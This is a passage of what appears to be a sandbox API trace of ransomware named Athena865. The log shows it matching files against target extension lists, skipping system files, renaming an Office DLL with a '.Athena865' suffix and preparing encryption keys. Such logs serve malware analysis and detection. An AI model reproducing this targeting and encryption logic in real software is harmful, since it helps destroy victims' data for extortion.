lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0072.877] lstrlenW (lpString="dxl") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0072.877] lstrlenW (lpString="eco") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0072.877] lstrlenW (lpString="ecx") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0072.877] lstrlenW (lpString="edb") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0072.877] lstrlenW (lpString="epim") returned 4 [0072.877] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0072.877] lstrlenW (lpString="fcd") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0072.877] lstrlenW (lpString="fdb") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0072.877] lstrlenW (lpString="fic") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0072.877] lstrlenW (lpString="flexolibrary") returned 12 [0072.877] lstrlenW (lpString="fm5") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0072.877] lstrlenW (lpString="fmp") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0072.877] lstrlenW (lpString="fmp12") returned 5 [0072.877] lstrcmpiW (lpString1="H.DLL", lpString2="fmp12") returned 1 [0072.877] lstrlenW (lpString="fmpsl") returned 5 [0072.877] lstrcmpiW (lpString1="H.DLL", lpString2="fmpsl") returned 1 [0072.877] lstrlenW (lpString="fol") returned 3 [0072.877] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0072.878] lstrlenW (lpString="fp3") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0072.878] lstrlenW (lpString="fp4") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0072.878] lstrlenW (lpString="fp5") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0072.878] lstrlenW (lpString="fp7") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0072.878] lstrlenW (lpString="fpt") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0072.878] lstrlenW (lpString="frm") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0072.878] lstrlenW (lpString="gdb") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.878] lstrlenW (lpString="gdb") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.878] lstrlenW (lpString="grdb") returned 4 [0072.878] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0072.878] lstrlenW (lpString="gwi") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0072.878] lstrlenW (lpString="hdb") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0072.878] lstrlenW (lpString="his") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0072.878] lstrlenW (lpString="ib") returned 2 [0072.878] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0072.878] lstrlenW (lpString="idb") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0072.878] lstrlenW (lpString="ihx") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0072.878] lstrlenW (lpString="itdb") returned 4 [0072.878] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0072.878] lstrlenW (lpString="itw") returned 3 [0072.878] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0072.879] lstrlenW (lpString="jet") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0072.879] lstrlenW (lpString="jtx") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0072.879] lstrlenW (lpString="kdb") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0072.879] lstrlenW (lpString="kexi") returned 4 [0072.879] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0072.879] lstrlenW (lpString="kexic") returned 5 [0072.879] lstrcmpiW (lpString1="H.DLL", lpString2="kexic") returned -1 [0072.879] lstrlenW (lpString="kexis") returned 5 [0072.879] lstrcmpiW (lpString1="H.DLL", lpString2="kexis") returned -1 [0072.879] lstrlenW (lpString="lgc") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0072.879] lstrlenW (lpString="lwx") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0072.879] lstrlenW (lpString="maf") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0072.879] lstrlenW (lpString="maq") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0072.879] lstrlenW (lpString="mar") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0072.879] lstrlenW (lpString="marshal") returned 7 [0072.879] lstrcmpiW (lpString1="NCH.DLL", lpString2="marshal") returned 1 [0072.879] lstrlenW (lpString="mas") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0072.879] lstrlenW (lpString="mav") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0072.879] lstrlenW (lpString="maw") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0072.879] lstrlenW (lpString="mdbhtml") returned 7 [0072.879] lstrcmpiW (lpString1="NCH.DLL", lpString2="mdbhtml") returned 1 [0072.879] lstrlenW (lpString="mdn") returned 3 [0072.879] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0072.880] lstrlenW (lpString="mdt") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0072.880] lstrlenW (lpString="mfd") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0072.880] lstrlenW (lpString="mpd") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0072.880] lstrlenW (lpString="mrg") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0072.880] lstrlenW (lpString="mud") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0072.880] lstrlenW (lpString="mwb") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0072.880] lstrlenW (lpString="myd") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0072.880] lstrlenW (lpString="ndf") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0072.880] lstrlenW (lpString="nnt") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0072.880] lstrlenW (lpString="nrmlib") returned 6 [0072.880] lstrcmpiW (lpString1="CH.DLL", lpString2="nrmlib") returned -1 [0072.880] lstrlenW (lpString="ns2") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0072.880] lstrlenW (lpString="ns3") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0072.880] lstrlenW (lpString="ns4") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0072.880] lstrlenW (lpString="nsf") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0072.880] lstrlenW (lpString="nv") returned 2 [0072.880] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0072.880] lstrlenW (lpString="nv2") returned 3 [0072.880] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0072.880] lstrlenW (lpString="nwdb") returned 4 [0072.880] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0072.881] lstrlenW (lpString="nyf") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0072.881] lstrlenW (lpString="odb") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.881] lstrlenW (lpString="odb") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.881] lstrlenW (lpString="oqy") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0072.881] lstrlenW (lpString="ora") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0072.881] lstrlenW (lpString="orx") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0072.881] lstrlenW (lpString="owc") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0072.881] lstrlenW (lpString="p96") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0072.881] lstrlenW (lpString="p97") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0072.881] lstrlenW (lpString="pan") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0072.881] lstrlenW (lpString="pdb") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0072.881] lstrlenW (lpString="pdm") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0072.881] lstrlenW (lpString="pnz") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0072.881] lstrlenW (lpString="qry") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0072.881] lstrlenW (lpString="qvd") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0072.881] lstrlenW (lpString="rbf") returned 3 [0072.881] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0072.881] lstrlenW (lpString="rctd") returned 4 [0072.881] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0072.881] lstrlenW (lpString="rod") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0072.882] lstrlenW (lpString="rodx") returned 4 [0072.882] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0072.882] lstrlenW (lpString="rpd") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0072.882] lstrlenW (lpString="rsd") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0072.882] lstrlenW (lpString="sas7bdat") returned 8 [0072.882] lstrcmpiW (lpString1="UNCH.DLL", lpString2="sas7bdat") returned 1 [0072.882] lstrlenW (lpString="sbf") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0072.882] lstrlenW (lpString="scx") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0072.882] lstrlenW (lpString="sdb") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0072.882] lstrlenW (lpString="sdc") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0072.882] lstrlenW (lpString="sdf") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0072.882] lstrlenW (lpString="sis") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0072.882] lstrlenW (lpString="spq") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0072.882] lstrlenW (lpString="te") returned 2 [0072.882] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0072.882] lstrlenW (lpString="teacher") returned 7 [0072.882] lstrcmpiW (lpString1="NCH.DLL", lpString2="teacher") returned -1 [0072.882] lstrlenW (lpString="tmd") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0072.882] lstrlenW (lpString="tps") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0072.882] lstrlenW (lpString="trc") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.882] lstrlenW (lpString="trc") returned 3 [0072.882] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.883] lstrlenW (lpString="trm") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0072.883] lstrlenW (lpString="udb") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0072.883] lstrlenW (lpString="udl") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0072.883] lstrlenW (lpString="usr") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0072.883] lstrlenW (lpString="v12") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0072.883] lstrlenW (lpString="vis") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0072.883] lstrlenW (lpString="vpd") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0072.883] lstrlenW (lpString="vvv") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0072.883] lstrlenW (lpString="wdb") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0072.883] lstrlenW (lpString="wmdb") returned 4 [0072.883] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0072.883] lstrlenW (lpString="wrk") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0072.883] lstrlenW (lpString="xdb") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0072.883] lstrlenW (lpString="xld") returned 3 [0072.883] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0072.883] lstrlenW (lpString="xmlff") returned 5 [0072.883] lstrcmpiW (lpString1="H.DLL", lpString2="xmlff") returned -1 [0072.883] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL.Athena865") returned 65 [0072.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\inlaunch.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\inlaunch.dll.athena865"), dwFlags=0x1) returned 1 [0072.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\INLAUNCH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\inlaunch.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0072.885] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=506744) returned 1 [0072.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.885] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.886] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.886] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.886] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7be80, lpName=0x0) returned 0x17c [0072.894] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7be80) returned 0x2d50000 [0072.919] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.920] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.920] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0072.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0072.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0072.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0072.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0072.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0072.921] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0072.925] CloseHandle (hObject=0x17c) returned 1 [0072.925] CloseHandle (hObject=0x154) returned 1 [0072.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.928] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="INSTAL~1.XSS")) returned 1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2=".") returned 1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="..") returned 1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="windows") returned -1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="bootmgr") returned 1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="temp") returned -1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="pagefile.sys") returned -1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="boot") returned 1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="ids.txt") returned 1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="ntuser.dat") returned -1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="perflogs") returned -1 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2="MSBuild") returned -1 [0072.928] lstrlenW (lpString="Installed_resources14.xss") returned 25 [0072.928] lstrcpyW (in: lpString1=0x241e89e, lpString2="Installed_resources14.xss" | out: lpString1="Installed_resources14.xss") returned="Installed_resources14.xss" [0072.928] lstrlenW (lpString="Installed_resources14.xss") returned 25 [0072.928] lstrlenW (lpString="Athena865") returned 9 [0072.928] lstrcmpiW (lpString1="ces14.xss", lpString2="Athena865") returned 1 [0072.928] lstrlenW (lpString=".dll") returned 4 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2=".dll") returned 1 [0072.928] lstrlenW (lpString=".lnk") returned 4 [0072.928] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2=".lnk") returned 1 [0072.928] lstrlenW (lpString=".ini") returned 4 [0072.929] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2=".ini") returned 1 [0072.929] lstrlenW (lpString=".sys") returned 4 [0072.929] lstrcmpiW (lpString1="Installed_resources14.xss", lpString2=".sys") returned 1 [0072.929] lstrlenW (lpString="Installed_resources14.xss") returned 25 [0072.929] lstrlenW (lpString="bak") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="bak") returned 1 [0072.929] lstrlenW (lpString="ba_") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="ba_") returned 1 [0072.929] lstrlenW (lpString="dbb") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="dbb") returned 1 [0072.929] lstrlenW (lpString="vmdk") returned 4 [0072.929] lstrcmpiW (lpString1=".xss", lpString2="vmdk") returned -1 [0072.929] lstrlenW (lpString="rar") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="rar") returned 1 [0072.929] lstrlenW (lpString="zip") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="zip") returned -1 [0072.929] lstrlenW (lpString="tgz") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="tgz") returned 1 [0072.929] lstrlenW (lpString="vbox") returned 4 [0072.929] lstrcmpiW (lpString1=".xss", lpString2="vbox") returned -1 [0072.929] lstrlenW (lpString="vdi") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="vdi") returned 1 [0072.929] lstrlenW (lpString="vhd") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="vhd") returned 1 [0072.929] lstrlenW (lpString="vhdx") returned 4 [0072.929] lstrcmpiW (lpString1=".xss", lpString2="vhdx") returned -1 [0072.929] lstrlenW (lpString="avhd") returned 4 [0072.929] lstrcmpiW (lpString1=".xss", lpString2="avhd") returned -1 [0072.929] lstrlenW (lpString="db") returned 2 [0072.929] lstrcmpiW (lpString1="ss", lpString2="db") returned 1 [0072.929] lstrlenW (lpString="db2") returned 3 [0072.929] lstrcmpiW (lpString1="xss", lpString2="db2") returned 1 [0072.929] lstrlenW (lpString="db3") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="db3") returned 1 [0072.930] lstrlenW (lpString="dbf") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="dbf") returned 1 [0072.930] lstrlenW (lpString="mdf") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="mdf") returned 1 [0072.930] lstrlenW (lpString="mdb") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="mdb") returned 1 [0072.930] lstrlenW (lpString="sql") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="sql") returned 1 [0072.930] lstrlenW (lpString="sqlite") returned 6 [0072.930] lstrcmpiW (lpString1="14.xss", lpString2="sqlite") returned -1 [0072.930] lstrlenW (lpString="sqlite3") returned 7 [0072.930] lstrcmpiW (lpString1="s14.xss", lpString2="sqlite3") returned -1 [0072.930] lstrlenW (lpString="sqlitedb") returned 8 [0072.930] lstrcmpiW (lpString1="es14.xss", lpString2="sqlitedb") returned -1 [0072.930] lstrlenW (lpString="xml") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="xml") returned 1 [0072.930] lstrlenW (lpString="$er") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="$er") returned 1 [0072.930] lstrlenW (lpString="4dd") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="4dd") returned 1 [0072.930] lstrlenW (lpString="4dl") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="4dl") returned 1 [0072.930] lstrlenW (lpString="^^^") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="^^^") returned 1 [0072.930] lstrlenW (lpString="abs") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="abs") returned 1 [0072.930] lstrlenW (lpString="abx") returned 3 [0072.930] lstrcmpiW (lpString1="xss", lpString2="abx") returned 1 [0072.930] lstrlenW (lpString="accdb") returned 5 [0072.930] lstrcmpiW (lpString1="4.xss", lpString2="accdb") returned -1 [0072.930] lstrlenW (lpString="accdc") returned 5 [0072.931] lstrcmpiW (lpString1="4.xss", lpString2="accdc") returned -1 [0072.931] lstrlenW (lpString="accde") returned 5 [0072.931] lstrcmpiW (lpString1="4.xss", lpString2="accde") returned -1 [0072.931] lstrlenW (lpString="accdr") returned 5 [0072.931] lstrcmpiW (lpString1="4.xss", lpString2="accdr") returned -1 [0072.931] lstrlenW (lpString="accdt") returned 5 [0072.931] lstrcmpiW (lpString1="4.xss", lpString2="accdt") returned -1 [0072.931] lstrlenW (lpString="accdw") returned 5 [0072.931] lstrcmpiW (lpString1="4.xss", lpString2="accdw") returned -1 [0072.931] lstrlenW (lpString="accft") returned 5 [0072.931] lstrcmpiW (lpString1="4.xss", lpString2="accft") returned -1 [0072.931] lstrlenW (lpString="adb") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="adb") returned 1 [0072.931] lstrlenW (lpString="adb") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="adb") returned 1 [0072.931] lstrlenW (lpString="ade") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="ade") returned 1 [0072.931] lstrlenW (lpString="adf") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="adf") returned 1 [0072.931] lstrlenW (lpString="adn") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="adn") returned 1 [0072.931] lstrlenW (lpString="adp") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="adp") returned 1 [0072.931] lstrlenW (lpString="alf") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="alf") returned 1 [0072.931] lstrlenW (lpString="ask") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="ask") returned 1 [0072.931] lstrlenW (lpString="btr") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="btr") returned 1 [0072.931] lstrlenW (lpString="cat") returned 3 [0072.931] lstrcmpiW (lpString1="xss", lpString2="cat") returned 1 [0072.931] lstrlenW (lpString="cdb") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="cdb") returned 1 [0072.932] lstrlenW (lpString="ckp") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="ckp") returned 1 [0072.932] lstrlenW (lpString="cma") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="cma") returned 1 [0072.932] lstrlenW (lpString="cpd") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="cpd") returned 1 [0072.932] lstrlenW (lpString="dacpac") returned 6 [0072.932] lstrcmpiW (lpString1="14.xss", lpString2="dacpac") returned -1 [0072.932] lstrlenW (lpString="dad") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="dad") returned 1 [0072.932] lstrlenW (lpString="dadiagrams") returned 10 [0072.932] lstrcmpiW (lpString1="rces14.xss", lpString2="dadiagrams") returned 1 [0072.932] lstrlenW (lpString="daschema") returned 8 [0072.932] lstrcmpiW (lpString1="es14.xss", lpString2="daschema") returned 1 [0072.932] lstrlenW (lpString="db-journal") returned 10 [0072.932] lstrcmpiW (lpString1="rces14.xss", lpString2="db-journal") returned 1 [0072.932] lstrlenW (lpString="db-shm") returned 6 [0072.932] lstrcmpiW (lpString1="14.xss", lpString2="db-shm") returned -1 [0072.932] lstrlenW (lpString="db-wal") returned 6 [0072.932] lstrcmpiW (lpString1="14.xss", lpString2="db-wal") returned -1 [0072.932] lstrlenW (lpString="dbc") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="dbc") returned 1 [0072.932] lstrlenW (lpString="dbs") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="dbs") returned 1 [0072.932] lstrlenW (lpString="dbt") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="dbt") returned 1 [0072.932] lstrlenW (lpString="dbv") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="dbv") returned 1 [0072.932] lstrlenW (lpString="dbx") returned 3 [0072.932] lstrcmpiW (lpString1="xss", lpString2="dbx") returned 1 [0072.933] lstrlenW (lpString="dcb") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="dcb") returned 1 [0072.933] lstrlenW (lpString="dct") 